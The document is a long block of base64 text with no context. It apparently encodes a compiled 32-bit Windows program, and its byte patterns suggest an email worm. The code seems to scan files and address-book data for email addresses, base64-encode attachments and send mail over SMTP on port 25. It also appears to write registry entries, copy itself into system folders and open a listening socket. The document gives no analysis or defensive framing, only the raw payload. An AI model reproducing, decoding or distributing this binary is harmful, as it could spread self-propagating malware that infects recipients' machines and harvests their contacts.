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 jKwXNv81oKwXNv/WaOyfFzajiKwXNv81oKwXNv/WaNifFzajhKwXNv81oKwXNv/Wo4CsFzZozJ8X Nv/XhcCjpKwXNnR5aMCfFzZQ/9ZosJ8XNqP81hc2/zWkrBc2/9ZooJ8XNqP41hc2/zWkrBc2/9Zo kJ8XNqP01hc2/zWkrBc2/9ZogJ8XNqPw1hc2/zWkrBc2/9ZocJ8XNqPs1hc2/zWkrBc2/9ZoZJ8X NqPo1hc2/zWkrBc2/9aj5NYXNmhYnxc2/9eFwKOorBc2D4R1AQAAaEyfFzZQ/9ZoQJ8XNqNorBc2 /zWorBc2/9ZoMJ8XNqNkrBc2/zWorBc2/9ZoKJ8XNqNgrBc2/zWorBc2/9ZoIJ8XNqNcrBc2/zWo rBc2/9ZoGJ8XNqNYrBc2/zWorBc2/9ZoEJ8XNqNUrBc2/zWorBc2/9ZoBJ8XNqNQrBc2/zWorBc2 /9Zo/J4XNqNMrBc2/zWorBc2/9Zo9J4XNqNIrBc2/zWorBc2/9Zo7J4XNqNErBc2/zWorBc2/9Zo 4J4XNqNArBc2/zWorBc2/9Zo2J4XNqM8rBc2/zWorBc2/9Zo0J4XNqM4rBc2/zWorBc2/9ZoyJ4X NqM0rBc2/zWorBc2/9ZowJ4XNqMsrBc2/zWorBc2/9ZotJ4XNqMwrBc2/zWorBc2/9ZoqJ4XNqMo rBc2/zWorBc2/9ZonJ4XNqMkrBc2/zWorBc2/9ZojJ4XNqMcrBc2/zWorBc2/9ajIKwXNmiAnhc2 /zWorBc2/9ajGKwXNmoBWF9ew6GYrBc2Vos12IAXNoXAdANQ/9ahnKwXNoXAdANQ/9ahoKwXNoXA dANQ/9ahpKwXNoXAdANQ/9ahqKwXNoXAdANQ/9ZqAVhew1WL7IHsFAYAAFOLHRyAFzaNRfRWUDP2 aD8ADwBWaFChFzZoAgAAgP/ThcAPhdkAAABXVlZWjUX4iz0YgBc2VlCNhez9///HRfj/AAAAUFb/ dfSJdfz/14XAD4WhAAAAjYXs/v//aBihFzZQ6GolAACNhez9//9QjYXs/v//UOhpJQAAg8QQjUXw UGg/AA8AjYXs/v//VlBoAgAAgP/ThcB1Oo1F7MdF7AAEAABQjYXs+f//UFb/dfD/FQSAFzY5NbCs FzZ0DY2F7Pn//1Dolun//1n/dfD/FRCAFzb/RfxWVlaNRfhWUI2F7P3//1DHRfj/AAAA/3X8/3X0 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 